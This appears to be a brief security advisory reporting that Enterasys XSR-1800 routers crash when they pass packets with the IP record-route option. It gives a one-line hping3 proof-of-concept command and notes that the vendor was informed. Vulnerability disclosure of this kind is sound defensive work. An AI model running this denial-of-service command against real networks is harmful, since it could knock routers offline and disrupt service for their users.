Enterasys XSR Security Routers DoS

["Frederico Queiroz" <fqueiroz () ish com br>]

Description: Enterasys XSR Security Routers crash when passing a packet
with the option record route.

System Vulnerable: This vulnerability was found in XSR-1800 series.
(firmware 7.0.0.0)

Proof-of-concept: I've used Hping (http://www.hping.org/) to perform
this example:

hping3 -1 -G www.uol.com.br

Vendor at Brazil was informed about this.

Frederico Queiroz
Security Consultant/ISH Tecnologia
Phone: +55-27-3334-8900
E-mail: fqueiroz () ish com br